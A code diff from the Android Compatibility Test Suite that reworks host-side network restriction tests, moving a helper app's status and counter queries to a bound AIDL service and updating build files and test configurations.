+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.net.hostside;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.ConditionVariable;
+import android.os.IBinder;
+import android.os.RemoteException;
+
+import com.android.cts.net.hostside.IMyService;
+
+import java.io.FileDescriptor;
+
+public class MyServiceClient {
+    private static final int TIMEOUT_MS = 5000;
+    private static final String PACKAGE = MyServiceClient.class.getPackage().getName();
+    private static final String APP2_PACKAGE = PACKAGE + ".app2";
+    private static final String SERVICE_NAME = APP2_PACKAGE + ".MyService";
+
+    private Context mContext;
+    private ServiceConnection mServiceConnection;
+    private IMyService mService;
+
+    public MyServiceClient(Context context) {
+        mContext = context;
+    }
+
+    public void bind() {
+        if (mService != null) {
+            throw new IllegalStateException("Already bound");
+        }
+
+        final ConditionVariable cv = new ConditionVariable();
+        mServiceConnection = new ServiceConnection() {
+            @Override
+            public void onServiceConnected(ComponentName name, IBinder service) {
+                mService = IMyService.Stub.asInterface(service);
+                cv.open();
+            }
+            @Override
+            public void onServiceDisconnected(ComponentName name) {
+                mService = null;
+            }
+        };
+
+        final Intent intent = new Intent();
+        intent.setComponent(new ComponentName(APP2_PACKAGE, SERVICE_NAME));
+        // Needs to use BIND_ALLOW_OOM_MANAGEMENT and BIND_NOT_FOREGROUND so app2 does not run in
+        // the same process state as app
+        mContext.bindService(intent, mServiceConnection, Context.BIND_AUTO_CREATE
+                | Context.BIND_ALLOW_OOM_MANAGEMENT | Context.BIND_NOT_FOREGROUND);
+        cv.block(TIMEOUT_MS);
+        if (mService == null) {
+            throw new IllegalStateException(
+                    "Could not bind to MyService service after " + TIMEOUT_MS + "ms");
+        }
+    }
+
+    public void unbind() {
+        if (mService != null) {
+            mContext.unbindService(mServiceConnection);
+        }
+    }
+
+    public void registerBroadcastReceiver() throws RemoteException {
+        mService.registerBroadcastReceiver();
+    }
+
+    public int getCounters(String receiverName, String action) throws RemoteException {
+        return mService.getCounters(receiverName, action);
+    }
+
+    public String checkNetworkStatus() throws RemoteException {
+        return mService.checkNetworkStatus();
+    }
+
+    public String getRestrictBackgroundStatus() throws RemoteException {
+        return mService.getRestrictBackgroundStatus();
+    }
+
+    public void sendNotification(int notificationId, String notificationType) throws RemoteException {
+        mService.sendNotification(notificationId, notificationType);
+    }
+}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
index 2bd3c39..bc982ce 100755
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
@@ -110,8 +110,7 @@
 
     private boolean supportedHardware() {
         final PackageManager pm = getInstrumentation().getContext().getPackageManager();
-        return !pm.hasSystemFeature("android.hardware.type.television") &&
-               !pm.hasSystemFeature("android.hardware.type.watch");
+        return !pm.hasSystemFeature("android.hardware.type.watch");
     }
 
     @Override
diff --git a/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/Common.java b/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/Common.java
index e07c0f5..351733e 100644
--- a/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/Common.java
+++ b/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/Common.java
@@ -16,7 +16,14 @@
 package com.android.cts.net.hostside.app2;
 
 import android.content.Context;
+import android.content.Intent;
 import android.content.pm.PackageManager.NameNotFoundException;
+import android.os.AsyncTask;
+import android.os.Bundle;
+import android.os.RemoteException;
+import android.util.Log;
+
+import com.android.cts.net.hostside.INetworkStateObserver;
 
 public final class Common {
 
@@ -26,27 +33,13 @@
     // AbstractRestrictBackgroundNetworkTestCase.java
     static final String MANIFEST_RECEIVER = "ManifestReceiver";
     static final String DYNAMIC_RECEIVER = "DynamicReceiver";
-    static final String ACTION_GET_COUNTERS =
-            "com.android.cts.net.hostside.app2.action.GET_COUNTERS";
-    static final String ACTION_GET_RESTRICT_BACKGROUND_STATUS =
-            "com.android.cts.net.hostside.app2.action.GET_RESTRICT_BACKGROUND_STATUS";
-    static final String ACTION_CHECK_NETWORK =
-            "com.android.cts.net.hostside.app2.action.CHECK_NETWORK";
+
     static final String ACTION_RECEIVER_READY =
             "com.android.cts.net.hostside.app2.action.RECEIVER_READY";
     static final String ACTION_FINISH_ACTIVITY =
             "com.android.cts.net.hostside.app2.action.FINISH_ACTIVITY";
-    static final String ACTION_SEND_NOTIFICATION =
-            "com.android.cts.net.hostside.app2.action.SEND_NOTIFICATION";
     static final String ACTION_SHOW_TOAST =
             "com.android.cts.net.hostside.app2.action.SHOW_TOAST";
-    static final String EXTRA_ACTION = "com.android.cts.net.hostside.app2.extra.ACTION";
-    static final String EXTRA_RECEIVER_NAME =
-            "com.android.cts.net.hostside.app2.extra.RECEIVER_NAME";
-    static final String EXTRA_NOTIFICATION_ID =
-            "com.android.cts.net.hostside.app2.extra.NOTIFICATION_ID";
-    static final String EXTRA_NOTIFICATION_TYPE =
-            "com.android.cts.net.hostside.app2.extra.NOTIFICATION_TYPE";
 
     static final String NOTIFICATION_TYPE_CONTENT = "CONTENT";
     static final String NOTIFICATION_TYPE_DELETE = "DELETE";
@@ -56,6 +49,9 @@
     static final String NOTIFICATION_TYPE_ACTION_BUNDLE = "ACTION_BUNDLE";
     static final String NOTIFICATION_TYPE_ACTION_REMOTE_INPUT = "ACTION_REMOTE_INPUT";
 
+    static final String TEST_PKG = "com.android.cts.net.hostside";
+    static final String KEY_NETWORK_STATE_OBSERVER = TEST_PKG + ".observer";
+
     static int getUid(Context context) {
         final String packageName = context.getPackageName();
         try {
@@ -64,4 +60,35 @@
             throw new IllegalStateException("Could not get UID for " + packageName, e);
         }
     }
+
+    static void notifyNetworkStateObserver(Context context, Intent intent) {
+        if (intent == null) {
+            return;
+        }
+        final Bundle extras = intent.getExtras();
+        if (extras == null) {
+            return;
+        }
+        final INetworkStateObserver observer = INetworkStateObserver.Stub.asInterface(
+                extras.getBinder(KEY_NETWORK_STATE_OBSERVER));
+        if (observer != null) {
+            try {
+                if (!observer.isForeground()) {
+                    Log.e(TAG, "App didn't come to foreground");
+                    observer.onNetworkStateChecked(null);
+                    return;
+                }
+            } catch (RemoteException e) {
+                Log.e(TAG, "Error occurred while reading the proc state: " + e);
+            }
+            AsyncTask.execute(() -> {
+                try {
+                    observer.onNetworkStateChecked(
+                            MyBroadcastReceiver.checkNetworkStatus(context));
+                } catch (RemoteException e) {
+                    Log.e(TAG, "Error occurred while notifying the observer: " + e);
+                }
+            });
+        }
+    }
 }
diff --git a/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/MyActivity.java b/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/MyActivity.java
index 444b696..286cc2f 100644
--- a/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/MyActivity.java
+++ b/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/MyActivity.java
@@ -17,30 +17,48 @@
 
 import static com.android.cts.net.hostside.app2.Common.ACTION_FINISH_ACTIVITY;
 import static com.android.cts.net.hostside.app2.Common.TAG;
+import static com.android.cts.net.hostside.app2.Common.TEST_PKG;
 
 import android.app.Activity;
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.os.AsyncTask;
 import android.os.Bundle;
+import android.os.RemoteException;
 import android.util.Log;
 
+import com.android.cts.net.hostside.INetworkStateObserver;
+
 /**
  * Activity used to bring process to foreground.
  */
 public class MyActivity extends Activity {
 
+    private BroadcastReceiver finishCommandReceiver = null;
+
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
-        registerReceiver(new BroadcastReceiver() {
-
+        Log.d(TAG, "MyActivity.onCreate()");
+        Common.notifyNetworkStateObserver(this, getIntent());
+        finishCommandReceiver = new BroadcastReceiver() {
             @Override
             public void onReceive(Context context, Intent intent) {
                 Log.d(TAG, "Finishing MyActivity");
                 MyActivity.this.finish();
-            }}, new IntentFilter(ACTION_FINISH_ACTIVITY));
+            }
+        };
+        registerReceiver(finishCommandReceiver, new IntentFilter(ACTION_FINISH_ACTIVITY));
+    }
+
+    @Override
+    public void finish() {
+        if (finishCommandReceiver != null) {
+            unregisterReceiver(finishCommandReceiver);
+        }
+        super.finish();
     }
 
     @Override
diff --git a/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/MyBroadcastReceiver.java b/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/MyBroadcastReceiver.java
index 733c3aa..aa54075 100644
--- a/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/MyBroadcastReceiver.java
+++ b/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/MyBroadcastReceiver.java
@@ -18,16 +18,8 @@
 
 import static android.net.ConnectivityManager.ACTION_RESTRICT_BACKGROUND_CHANGED;
 
-import static com.android.cts.net.hostside.app2.Common.ACTION_CHECK_NETWORK;
-import static com.android.cts.net.hostside.app2.Common.ACTION_GET_COUNTERS;
-import static com.android.cts.net.hostside.app2.Common.ACTION_GET_RESTRICT_BACKGROUND_STATUS;
 import static com.android.cts.net.hostside.app2.Common.ACTION_RECEIVER_READY;
-import static com.android.cts.net.hostside.app2.Common.ACTION_SEND_NOTIFICATION;
 import static com.android.cts.net.hostside.app2.Common.ACTION_SHOW_TOAST;
-import static com.android.cts.net.hostside.app2.Common.EXTRA_ACTION;
-import static com.android.cts.net.hostside.app2.Common.EXTRA_NOTIFICATION_ID;
-import static com.android.cts.net.hostside.app2.Common.EXTRA_NOTIFICATION_TYPE;
-import static com.android.cts.net.hostside.app2.Common.EXTRA_RECEIVER_NAME;
 import static com.android.cts.net.hostside.app2.Common.MANIFEST_RECEIVER;
 import static com.android.cts.net.hostside.app2.Common.NOTIFICATION_TYPE_ACTION;
 import static com.android.cts.net.hostside.app2.Common.NOTIFICATION_TYPE_ACTION_BUNDLE;
@@ -56,14 +48,12 @@
 
 import java.net.HttpURLConnection;
 import java.net.URL;
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.TimeUnit;
 
 /**
  * Receiver used to:
  * <ol>
- * <li>Stored received RESTRICT_BACKGROUND_CHANGED broadcasts in a shared preference.
- * <li>Returned the number of RESTRICT_BACKGROUND_CHANGED broadcasts in an ordered broadcast.
+ *   <li>Count number of {@code RESTRICT_BACKGROUND_CHANGED} broadcasts received.
+ *   <li>Show a toast.
  * </ol>
  */
 public class MyBroadcastReceiver extends BroadcastReceiver {
@@ -89,23 +79,11 @@
             case ACTION_RESTRICT_BACKGROUND_CHANGED:
                 increaseCounter(context, action);
                 break;
-            case ACTION_GET_COUNTERS:
-                setResultDataFromCounter(context, intent);
-                break;
-            case ACTION_GET_RESTRICT_BACKGROUND_STATUS:
-                getRestrictBackgroundStatus(context, intent);
-                break;
-            case ACTION_CHECK_NETWORK:
-                checkNetwork(context, intent);
-                break;
             case ACTION_RECEIVER_READY:
                 final String message = mName + " is ready to rumble";
                 Log.d(TAG, message);
                 setResultData(message);
                 break;
-            case ACTION_SEND_NOTIFICATION:
-                sendNotification(context, intent);
-                break;
             case ACTION_SHOW_TOAST:
                 showToast(context);
                 break;
@@ -114,14 +92,20 @@
         }
     }
 
+    @Override
+    public String toString() {
+        return "[MyBroadcastReceiver: mName=" + mName + "]";
+    }
+
     private void increaseCounter(Context context, String action) {
-        final SharedPreferences prefs = context.getSharedPreferences(mName, Context.MODE_PRIVATE);
+        final SharedPreferences prefs = context.getApplicationContext()
+                .getSharedPreferences(mName, Context.MODE_PRIVATE);
         final int value = prefs.getInt(action, 0) + 1;
         Log.d(TAG, "increaseCounter('" + action + "'): setting '" + mName + "' to " + value);
         prefs.edit().putInt(action, value).apply();
     }
 
-    private int getCounter(Context context, String action, String receiverName) {
+    static int getCounter(Context context, String action, String receiverName) {
         final SharedPreferences prefs = context.getSharedPreferences(receiverName,
                 Context.MODE_PRIVATE);
         final int value = prefs.getInt(action, 0);
@@ -129,29 +113,14 @@
         return value;
     }
 
-    private void getRestrictBackgroundStatus(Context context, Intent intent) {
+    static String getRestrictBackgroundStatus(Context context) {
         final ConnectivityManager cm = (ConnectivityManager) context
                 .getSystemService(Context.CONNECTIVITY_SERVICE);
         final int apiStatus = cm.getRestrictBackgroundStatus();
         Log.d(TAG, "getRestrictBackgroundStatus: returning " + apiStatus);
-        setResultData(Integer.toString(apiStatus));
+        return String.valueOf(apiStatus);
     }
 
-    private void checkNetwork(final Context context, Intent intent) {
-        final ConnectivityManager cm = (ConnectivityManager) context
-                .getSystemService(Context.CONNECTIVITY_SERVICE);
-
-        String netStatus = null;
-        try {
-            netStatus = checkNetworkStatus(context, cm);
-        } catch (InterruptedException e) {
-            Log.e(TAG, "Timeout checking network status");
-        }
-        Log.d(TAG, "checkNetwork(): returning " + netStatus);
-        setResultData(netStatus);
-    }
-
-
     private static final String NETWORK_STATUS_TEMPLATE = "%s|%s|%s|%s|%s";
     /**
      * Checks whether the network is available and return a string which can then be send as a
@@ -182,78 +151,61 @@
      * </code></pre>
      *
      */
-    private String checkNetworkStatus(final Context context, final ConnectivityManager cm)
-            throws InterruptedException {
-        final LinkedBlockingQueue<String> result = new LinkedBlockingQueue<>(1);
-        new Thread(new Runnable() {
-
-            @Override
-            public void run() {
-                // TODO: connect to a hostside server instead
-                final String address = "http://example.com";
-                final NetworkInfo networkInfo = cm.getActiveNetworkInfo();
-                Log.d(TAG, "Running checkNetworkStatus() on thread "
-                        + Thread.currentThread().getName() + " for UID " + getUid(context)
-                        + "\n\tactiveNetworkInfo: " + networkInfo + "\n\tURL: " + address);
-                boolean checkStatus = false;
-                String checkDetails = "N/A";
-                try {
-                    final URL url = new URL(address);
-                    final HttpURLConnection conn = (HttpURLConnection) url.openConnection();
-                    conn.setReadTimeout(NETWORK_TIMEOUT_MS);
-                    conn.setConnectTimeout(NETWORK_TIMEOUT_MS / 2);
-                    conn.setRequestMethod("GET");
-                    conn.setDoInput(true);
-                    conn.connect();
-                    final int response = conn.getResponseCode();
-                    checkStatus = true;
-                    checkDetails = "HTTP response for " + address + ": " + response;
-                } catch (Exception e) {
-                    checkStatus = false;
-                    checkDetails = "Exception getting " + address + ": " + e;
-                }
-                Log.d(TAG, checkDetails);
-                final String status = String.format(NETWORK_STATUS_TEMPLATE,
-                        networkInfo.getState().name(), networkInfo.getDetailedState().name(),
-                        Boolean.toString(checkStatus), checkDetails, networkInfo);
-                Log.d(TAG, "Offering " + status);
-                result.offer(status);
-            }
-        }, mName).start();
-        return result.poll(NETWORK_TIMEOUT_MS * 2, TimeUnit.MILLISECONDS);
-    }
-
-    private void setResultDataFromCounter(Context context, Intent intent) {
-        final String action = intent.getStringExtra(EXTRA_ACTION);
-        if (action == null) {
-            Log.e(TAG, "Missing extra '" + EXTRA_ACTION + "' on " + intent);
-            return;
+    // TODO: now that it uses Binder, it counl return a Bundle with the data parts instead...
+    static String checkNetworkStatus(Context context) {
+        final ConnectivityManager cm =
+                (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
+        // TODO: connect to a hostside server instead
+        final String address = "http://example.com";
+        final NetworkInfo networkInfo = cm.getActiveNetworkInfo();
+        Log.d(TAG, "Running checkNetworkStatus() on thread "
+                + Thread.currentThread().getName() + " for UID " + getUid(context)
+                + "\n\tactiveNetworkInfo: " + networkInfo + "\n\tURL: " + address);
+        boolean checkStatus = false;
+        String checkDetails = "N/A";
+        try {
+            final URL url = new URL(address);
+            final HttpURLConnection conn = (HttpURLConnection) url.openConnection();
+            conn.setReadTimeout(NETWORK_TIMEOUT_MS);
+            conn.setConnectTimeout(NETWORK_TIMEOUT_MS / 2);
+            conn.setRequestMethod("GET");
+            conn.setDoInput(true);
+            conn.connect();
+            final int response = conn.getResponseCode();
+            checkStatus = true;
+            checkDetails = "HTTP response for " + address + ": " + response;
+        } catch (Exception e) {
+            checkStatus = false;
+            checkDetails = "Exception getting " + address + ": " + e;
         }
-        final String receiverName = intent.getStringExtra(EXTRA_RECEIVER_NAME);
-        if (receiverName == null) {
-            Log.e(TAG, "Missing extra '" + EXTRA_RECEIVER_NAME + "' on " + intent);
-            return;
+        Log.d(TAG, checkDetails);
+        final String state, detailedState;
+        if (networkInfo != null) {
+            state = networkInfo.getState().name();
+            detailedState = networkInfo.getDetailedState().name();
+        } else {
+            state = detailedState = "null";
         }
-        final int counter = getCounter(context, action, receiverName);
-        setResultData(String.valueOf(counter));
+        final String status = String.format(NETWORK_STATUS_TEMPLATE, state, detailedState,
+                Boolean.valueOf(checkStatus), checkDetails, networkInfo);
+        Log.d(TAG, "Offering " + status);
+        return status;
     }
 
     /**
      * Sends a system notification containing actions with pending intents to launch the app's
      * main activitiy or service.
      */
-    private void sendNotification(Context context, Intent intent) {
-        final int notificationId = intent.getIntExtra(EXTRA_NOTIFICATION_ID, -1);
-        final String notificationType = intent.getStringExtra(EXTRA_NOTIFICATION_TYPE);
-        Log.d(TAG, "sendNotification: id=" + notificationId + ", type=" + notificationType
-                + ", intent=" + intent);
+    static void sendNotification(Context context, String channelId, int notificationId,
+            String notificationType ) {
+        Log.d(TAG, "sendNotification: id=" + notificationId + ", type=" + notificationType);
         final Intent serviceIntent = new Intent(context, MyService.class);
         final PendingIntent pendingIntent = PendingIntent.getService(context, 0, serviceIntent,
                 notificationId);
         final Bundle bundle = new Bundle();
         bundle.putCharSequence("parcelable", "I am not");
 
-        final Notification.Builder builder = new Notification.Builder(context)
+        final Notification.Builder builder = new Notification.Builder(context, channelId)
                 .setSmallIcon(R.drawable.ic_notification);
 
         Action action = null;
diff --git a/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/MyForegroundService.java b/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/MyForegroundService.java
index b88c45d..ff4ba65 100644
--- a/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/MyForegroundService.java
+++ b/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/MyForegroundService.java
@@ -16,18 +16,27 @@
 package com.android.cts.net.hostside.app2;
 
 import static com.android.cts.net.hostside.app2.Common.TAG;
+import static com.android.cts.net.hostside.app2.Common.TEST_PKG;
+
 import android.R;
 import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
 import android.app.Service;
 import android.content.Intent;
+import android.os.AsyncTask;
+import android.os.Bundle;
 import android.os.IBinder;
+import android.os.RemoteException;
 import android.util.Log;
 
+import com.android.cts.net.hostside.INetworkStateObserver;
+
 /**
  * Service used to change app state to FOREGROUND_SERVICE.
  */
 public class MyForegroundService extends Service {
-
+    private static final String NOTIFICATION_CHANNEL_ID = "cts/MyForegroundService";
     private static final int FLAG_START_FOREGROUND = 1;
     private static final int FLAG_STOP_FOREGROUND = 2;
 
@@ -39,12 +48,17 @@
     @Override
     public int onStartCommand(Intent intent, int flags, int startId) {
         Log.v(TAG, "MyForegroundService.onStartCommand(): " + intent);
+        NotificationManager notificationManager = getSystemService(NotificationManager.class);
+        notificationManager.createNotificationChannel(new NotificationChannel(
+                NOTIFICATION_CHANNEL_ID, NOTIFICATION_CHANNEL_ID,
+                NotificationManager.IMPORTANCE_DEFAULT));
         switch (intent.getFlags()) {
             case FLAG_START_FOREGROUND:
                 Log.d(TAG, "Starting foreground");
-                startForeground(42, new Notification.Builder(this)
+                startForeground(42, new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
                         .setSmallIcon(R.drawable.ic_dialog_alert) // any icon is fine
                         .build());
+                Common.notifyNetworkStateObserver(this, intent);
                 break;
             case FLAG_STOP_FOREGROUND:
                 Log.d(TAG, "Stopping foreground");
diff --git a/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/MyService.java b/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/MyService.java
index e6454c7..2496c4a 100644
--- a/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/MyService.java
+++ b/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/MyService.java
@@ -20,31 +20,92 @@
 import static com.android.cts.net.hostside.app2.Common.DYNAMIC_RECEIVER;
 import static com.android.cts.net.hostside.app2.Common.TAG;
 
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
 import android.app.Service;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.content.SharedPreferences;
 import android.os.IBinder;
+import android.os.Looper;
 import android.util.Log;
+import android.widget.Toast;
+
+import com.android.cts.net.hostside.IMyService;
 
 /**
  * Service used to dynamically register a broadcast receiver.
  */
 public class MyService extends Service {
+    private static final String NOTIFICATION_CHANNEL_ID = "MyService";
+
+    private MyBroadcastReceiver mReceiver;
+
+    // TODO: move MyBroadcast static functions here - they were kept there to make git diff easier.
+
+    private IMyService.Stub mBinder =
+        new IMyService.Stub() {
+
+        @Override
+        public void registerBroadcastReceiver() {
+            if (mReceiver != null) {
+                Log.d(TAG, "receiver already registered: " + mReceiver);
+                return;
+            }
+            final Context context = getApplicationContext();
+            mReceiver = new MyBroadcastReceiver(DYNAMIC_RECEIVER);
+            context.registerReceiver(mReceiver, new IntentFilter(ACTION_RECEIVER_READY));
+            context.registerReceiver(mReceiver,
+                    new IntentFilter(ACTION_RESTRICT_BACKGROUND_CHANGED));
+            Log.d(TAG, "receiver registered");
+        }
+
+        @Override
+        public int getCounters(String receiverName, String action) {
+            return MyBroadcastReceiver.getCounter(getApplicationContext(), action, receiverName);
+        }
+
+        @Override
+        public String checkNetworkStatus() {
+            return MyBroadcastReceiver.checkNetworkStatus(getApplicationContext());
+        }
+
+        @Override
+        public String getRestrictBackgroundStatus() {
+            return MyBroadcastReceiver.getRestrictBackgroundStatus(getApplicationContext());
+        }
+
+        @Override
+        public void sendNotification(int notificationId, String notificationType) {
+            MyBroadcastReceiver .sendNotification(getApplicationContext(), NOTIFICATION_CHANNEL_ID,
+                    notificationId, notificationType);
+        }
+      };
 
     @Override
     public IBinder onBind(Intent intent) {
-        return null;
+        return mBinder;
     }
 
     @Override
-    public int onStartCommand(Intent intent, int flags, int startId) {
-        Log.d(TAG, "MyService.onStartCommand: " + intent);
+    public void onCreate() {
         final Context context = getApplicationContext();
-        final MyBroadcastReceiver myReceiver = new MyBroadcastReceiver(DYNAMIC_RECEIVER);
-        context.registerReceiver(myReceiver, new IntentFilter(ACTION_RECEIVER_READY));
-        context.registerReceiver(myReceiver, new IntentFilter(ACTION_RESTRICT_BACKGROUND_CHANGED));
-        Log.d(TAG, "receiver registered");
-        return START_STICKY;
+        ((NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE))
+                .createNotificationChannel(new NotificationChannel(NOTIFICATION_CHANNEL_ID,
+                        NOTIFICATION_CHANNEL_ID, NotificationManager.IMPORTANCE_DEFAULT));
+    }
+
+    @Override
+    public void onDestroy() {
+        final Context context = getApplicationContext();
+        ((NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE))
+                .deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
+        if (mReceiver != null) {
+            Log.d(TAG, "onDestroy(): unregistering " + mReceiver);
+            getApplicationContext().unregisterReceiver(mReceiver);
+        }
+
+        super.onDestroy();
     }
 }
diff --git a/hostsidetests/net/src/com/android/cts/net/HostsideNetworkTestCase.java b/hostsidetests/net/src/com/android/cts/net/HostsideNetworkTestCase.java
index e96537c..c6df893 100644
--- a/hostsidetests/net/src/com/android/cts/net/HostsideNetworkTestCase.java
+++ b/hostsidetests/net/src/com/android/cts/net/HostsideNetworkTestCase.java
@@ -16,7 +16,7 @@
 
 package com.android.cts.net;
 
-import com.android.cts.migration.MigrationHelper;
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.ddmlib.Log;
 import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
 import com.android.ddmlib.testrunner.TestIdentifier;
@@ -78,7 +78,8 @@
 
     protected void installPackage(String apk) throws FileNotFoundException,
             DeviceNotAvailableException {
-        assertNull(getDevice().installPackage(MigrationHelper.getTestFile(mCtsBuild, apk), false));
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+        assertNull(getDevice().installPackage(buildHelper.getTestFile(apk), false));
     }
 
     protected void uninstallPackage(String packageName, boolean shouldSucceed)
diff --git a/hostsidetests/net/src/com/android/cts/net/HostsideRestrictBackgroundNetworkTests.java b/hostsidetests/net/src/com/android/cts/net/HostsideRestrictBackgroundNetworkTests.java
index faf75d9..bf3fc08 100644
--- a/hostsidetests/net/src/com/android/cts/net/HostsideRestrictBackgroundNetworkTests.java
+++ b/hostsidetests/net/src/com/android/cts/net/HostsideRestrictBackgroundNetworkTests.java
@@ -251,6 +251,16 @@
                 "testDataAndBatterySaverModes_nonMeteredNetwork");
     }
 
+    public void testDozeAndBatterySaverMode_powerSaveWhitelists() throws Exception {
+        runDeviceTests(TEST_PKG, TEST_PKG + ".MixedModesTest",
+                "testDozeAndBatterySaverMode_powerSaveWhitelists");
+    }
+
+    public void testDozeAndAppIdle_powerSaveWhitelists() throws Exception {
+        runDeviceTests(TEST_PKG, TEST_PKG + ".MixedModesTest",
+                "testDozeAndAppIdle_powerSaveWhitelists");
+    }
+
     /*******************
      * Helper methods. *
      *******************/
diff --git a/hostsidetests/numberblocking/Android.mk b/hostsidetests/numberblocking/Android.mk
index bf2d045..42c7169 100644
--- a/hostsidetests/numberblocking/Android.mk
+++ b/hostsidetests/numberblocking/Android.mk
@@ -25,9 +25,7 @@
 
 LOCAL_MODULE := CtsHostsideNumberBlockingTestCases
 
-LOCAL_STATIC_JAVA_LIBRARIES := cts-migration-lib
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed-prebuilt compatibility-host-util
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/numberblocking/AndroidTest.xml b/hostsidetests/numberblocking/AndroidTest.xml
index 4d06e9d..9a6d805 100644
--- a/hostsidetests/numberblocking/AndroidTest.xml
+++ b/hostsidetests/numberblocking/AndroidTest.xml
@@ -1,3 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
 <!-- Copyright (C) 2016 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
@@ -13,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS number blocking test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="abuse" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsHostsideNumberBlockingAppTest.apk" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsHostsideNumberBlockingTestCases.jar" />
+        <option name="runtime-hint" value="8m" />
     </test>
 </configuration>
diff --git a/hostsidetests/numberblocking/app/Android.mk b/hostsidetests/numberblocking/app/Android.mk
index 6595262..5755f84 100644
--- a/hostsidetests/numberblocking/app/Android.mk
+++ b/hostsidetests/numberblocking/app/Android.mk
@@ -27,7 +27,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
diff --git a/hostsidetests/numberblocking/src/com/android/cts/numberblocking/hostside/NumberBlockingTest.java b/hostsidetests/numberblocking/src/com/android/cts/numberblocking/hostside/NumberBlockingTest.java
index 11455a0..5e1a0ec 100644
--- a/hostsidetests/numberblocking/src/com/android/cts/numberblocking/hostside/NumberBlockingTest.java
+++ b/hostsidetests/numberblocking/src/com/android/cts/numberblocking/hostside/NumberBlockingTest.java
@@ -16,7 +16,7 @@
 
 package com.android.cts.numberblocking.hostside;
 
-import com.android.cts.migration.MigrationHelper;
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.ddmlib.Log;
 import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
 import com.android.tradefed.build.IBuildInfo;
@@ -149,7 +149,8 @@
 
     private void installTestAppForUser(int userId) throws Exception {
         LogUtil.CLog.logAndDisplay(Log.LogLevel.INFO, "Installing test app for user: " + userId);
-        File testAppFile = MigrationHelper.getTestFile(mCtsBuild, TEST_APK);
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+        File testAppFile = buildHelper.getTestFile(TEST_APK);
         String installResult = getDevice().installPackageForUser(
                 testAppFile, true /*reinstall*/, userId);
         assertNull(String.format(
diff --git a/hostsidetests/os/Android.mk b/hostsidetests/os/Android.mk
index bb5154f..e54703e 100644
--- a/hostsidetests/os/Android.mk
+++ b/hostsidetests/os/Android.mk
@@ -23,7 +23,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed-prebuilt compatibility-host-util cts-migration-lib
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
 
 LOCAL_CTS_TEST_PACKAGE := android.host.os
 
